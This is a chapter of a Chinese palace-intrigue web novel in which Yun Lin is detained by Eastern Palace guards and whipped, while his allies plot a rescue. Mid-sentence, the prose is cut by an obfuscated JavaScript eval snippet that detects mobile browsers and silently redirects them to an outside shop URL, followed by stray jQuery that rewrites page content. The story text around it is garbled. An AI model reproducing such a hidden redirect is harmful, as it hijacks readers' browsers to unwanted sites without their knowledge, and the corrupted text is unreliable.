午时末,艳阳高悬。大街上车水马龙,商铺的叫卖声和车马的轱辘声交织在一起,一派繁华喧嚣。
云临一行人乘坐的马车刚缓缓驶入城门,便被一队身着银甲腰佩横刀的东宫侍卫径直拦下。
领头之人是叶安,他身穿的是东宫典军服饰,身姿挺拔,面色冷肃。
而在叶安身侧,还站着一位同样身着典军制式衣袍的女子,她身姿高挑,眉眼锐利,气度不输男子。
云临只觉得那女子眉眼分外眼熟,可脑中飞速思索,却一时半会儿想不起来究竟在哪里见过。
一个时辰前,他的右眼皮便毫无征兆地频繁跳动,一下接着一下,像是有什么不好的事即将发生,搅得他心底焦躁难安,始终无法平静。
彼时马车之内,公孙夜倚着厢壁嗤笑,说他是做了亏心事,才会这般心神不宁,坐立难安。
云临自然听懂了公孙夜话里的弦外之音,但他能怎么办?总得带个人回来交差。
路上他与云岑、青鸾暗中商定了计划。
待这桩案子了结,云岑与青鸾便改换装束,演一场天衣无缝的劫狱戏码。
公孙夜无论最终被关押在刑部大牢,还是移交大理寺,话语权始终握在他们手中,想要不动声色地将人救出,不过是举手之劳。
可若是被东宫横插一脚,那便由不得他们掌控了。
云临深吸一口气,将手中的缰绳递给了刚从马车里走出来的云岑。随即起身,跳下马车。
他几步走到叶安面前,抬手作揖,声音沉缓有度:“叶典军。”
“云少卿。”叶安亦拱手回礼,语气平淡无波。
“叶典军如此阵仗,是来拦我?”云临心中已经猜出对方拦住他的原因,却依旧假意试探着问。
叶安凝视着云临,面无表情地说:“云少卿,太子殿下有请。”
这话入耳,云临眉头一皱。他顿了片刻,猛地转过身,对着云岑朗声道:“叔叔,你先回云宅,我随叶典军去一趟东宫。”
话音落下,云岑先是深深看了云临一眼,眼中掠过一丝了然与担忧,随即缓缓转头,目光落在叶安与身旁那女子身上,脸上突然挤出一抹生硬的笑容,随意抬手行了个敷衍的礼。
叶安神色未变,转头看向身侧的女子,低声吩咐:“鱼微,过去看看马车上都有什么人。”
名为鱼微的女子闻言,二话不说,当即迈开脚步,径直朝着马车的方向走去。
云临心头一紧,下意识往前挪动一步,想要要拦住鱼微,却被云岑的一个眼神瞬间制止。
与此同时,青鸾掀开帘子,探出了脑袋:“云大哥,这是怎么了?人家还未尽兴呢!”
云临抬眼望去,只见青鸾的发髻散乱,一侧的外衫斜斜滑落,脸颊竟不知为何挂着一层薄薄的红晕。
这般模样,任谁看了,都难免往男女之事上联想。
鱼微的脚步当即顿在原地,抬手指着云岑:“你……你们光天化日之下,竟如此不知羞耻,简直是……”
“江湖儿女,随心随性,不拘小节,不行吗?”青鸾打断鱼微的话,她的语气慵懒却坚定。
鱼微噎得哑口无言,她伸着的手微微颤抖,显然是被气得不轻。
云岑盘膝坐在马车边缘,斜睨着眼前气急败坏的鱼微,嘴角勾起一抹邪魅不羁的笑意,随即缓缓侧过身,抬手轻轻摸了一下青鸾的脸,慢悠悠地开口:“这位大人想要上车查看,你先把衣裳穿好,莫要失了礼数。”
青鸾瞥了鱼微一眼,漫不经心地将滑落的外衫提了起来,随即抬手彻底掀开马车布帘,大大方方示意鱼微上前查看。
鱼微猛地收回手,恶狠狠地瞪了云岑与靠在他背上的青鸾一眼,咬了咬牙,快步上前,踮起脚尖,探着脑袋往马车内仔细打量了一番,确认没有异样后,才转身快步走回叶安身边。
云临看到鱼微的脸颊红了大半,不知是被云岑与青鸾的做派气到,还是羞于所见。
但比起鱼微的反应,他心中更在意更疑惑的是公孙夜为何没有动静。难道是青鸾将人打晕,藏了起来?
·
“太羞耻了!我要是鱼微,估计也是那种反应。”
听了青鸾讲述白日里发生的事,纪月笙下意识抬手捂住了整张脸,只露出一双眼睛。
她实在是佩服青鸾,在朱雀大街那条人来人往的街道上,竟然能面不改色的与云岑演那一出。
“当时情况实在紧急,我也只能硬着头皮上了。”青鸾端起桌上的茶杯,轻轻抿了一口温热的茶水,继续道:“我们总不能在大街上公然与东宫的人动手抢人吧,阿临如今可不是白衣之身了,不必要的麻烦还是少惹。”
一听到云临的名字,纪月笙下意识皱紧了眉头。
此刻是戌时初,可云临依旧没有归来。她在心中暗自思忖,公孙盛再怎么嚣张,也不至于蠢到扣押朝廷命官吧。
可她终究猜不透那人心中如何想。
就在这时,青鸾忽然神色一凛,手掌猛地拍在桌面上,发出一声清脆的闷响,惊得纪月笙心头一跳。
“我想起来了!”青鸾失声喊道,眼中骤然闪过一丝慌乱。
“想起什么了?”纪月笙连忙放下手,疑惑地抬眼望去。
“是她!”青鸾话音未落,猛地站起身,不等纪月笙反应过来,便朝外冲去。
纪月笙被她这突如其来的举动弄得一头雾水,来不及细想,也连忙起身跟了上去,一路追着青鸾的身影,来到了云岑的房间外。
“大事不好了,阿临恐怕有危险!”青鸾一冲进屋内,便神色慌张地冲上前,一把抓住云岑的肩膀,用力地摇晃着。
一听见云临身陷险境,纪月笙心头骤然一紧,立刻快步上前,伸手拉住情绪激动的青鸾,声音都忍不住发颤:“到底出什么事了?”
青鸾深深吸了一口气,试图让自己冷静下来。
纪月笙下意识望向一旁的云岑,恰巧对方也转过头看来,四目相对,云岑的眼中同样写满了困惑。
片刻后,青鸾才缓缓开口:“那日在茶铺,我们说话的时候,东宫的那位女典军,就坐在我们隔壁的桌子,距离很近……我们当时说的每一句话,她大概全都听了去。”
“你的意思是,公孙盛真正要带走的,或许不是公孙夜,而是阿临?”云岑脱口而出。
纪月笙听着两人一来一回的对话,心头的困惑越来越深,眉头也拧得更紧。
她追问之下,青鸾才将那日在茶铺中发生的事情一五一十地全部告知于她。
听完整件事的来龙去脉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145114|187626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,纪月笙气得牙关紧咬。
她心里清楚,公孙盛若是听去了那些话,必定会恶意曲解。而云临迟迟未归,更是印证了她心中的猜测。
纪月笙心急如焚,在屋内焦躁地来回踱步,拼命思索着进入东宫的理由。可越是这般危急时刻,她的脑子越是混乱。
焦灼死死攥住她的心脏,令她几乎喘不过气。
“不行,不能再这样干等下去。”她猛地停住脚步,抬眼看向云岑与青鸾,眼底是压不住的慌张。
云岑面色沉冷,与平时的样子天壤之别,显然也在思索。
“偷偷潜进去吧!”青鸾提议。
即便以云岑可以悄无声息地潜入,但公孙盛肯定有所防备,此去无异于羊入虎口。可眼下除了这个办法,他们谁也想不出更好的了。
.
“云少卿,你与她,当真半分干系都没有?”
阴冷的地库之内,公孙盛居高临下地看着被粗绳死死绑在刑架上的云临,语气里带着不容置喙的逼问。
这一句话,公孙盛翻来覆去盘问了不下十遍。
起初云临解释他与杜枝枝之间,不过是因着纪月笙才算得上有几分朋友情分。可公孙盛只一挥手,便命叶安和鱼微将他绑了起来,以一根粗实的皮鞭招待他。
皮开肉绽的剧痛一遍遍席卷全身,每一次呼吸都牵扯着伤口,疼得他几欲晕厥。
直到被这无休止的盘问与酷刑折磨得近乎麻木,云临终于明白,公孙盛从一开始就没打算信他。
公孙盛要的从来不是真相,只是一个能名正言顺罢去他官职的借口。
他吃力地抬起头,看向坐在不远处的公孙盛,嘴里一个字也不肯说。
“滚开!”
一道熟悉的声音传来。云临艰难地抬眼望去,只见杜枝枝挺着不太大却能明显看出有孕的肚子,一步一步闯了进来。
她的右手紧紧攥着一把匕首,横在自己的脖颈之上。
公孙盛缓缓站了起来,慢悠悠的转过身:“你这是何意?”
杜枝枝冷冷地说道:“放了他!否则,我杀了自己,你的孩子也会跟着一起死!”
“哦?”公孙盛嗤笑一声,语气里满是不屑,他顿了半晌,才慢悠悠地开口:“这孩子,何尝不是你和他的骨血?你当真舍得,亲手杀了你们的孩子……”
“闭嘴!”杜枝枝骤然激动地打断公孙盛,情绪几乎失控,握着匕首的手都微微发颤。
奇怪的是,公孙盛竟真的乖乖闭了嘴,可他并没有下令让叶安松开绑在刑架上的云临。
“我让你放开他!”杜枝枝又重复了一遍。
公孙盛依旧沉默不语,只是静静地立在原地,背对着云临,与杜枝枝对峙。
云临看不清公孙盛此刻的神情,只能死死盯着他挺直的背影。他分明看到,杜枝枝抵在颈间的匕首,又轻轻往皮肉里送了送,眼看就要划破肌肤。
他心头一紧,嘶哑着嗓子急切制止:“不要!不要做傻事……”
云临怕杜枝枝一旦冲动真的伤了自己,到时候纪月笙必定会悲痛欲绝,自责终生。
可他这话落在公孙盛耳中,却是另一种意思。
公孙盛猛地转过身,快步走下台阶,捏住云临的下巴:“你说什么?”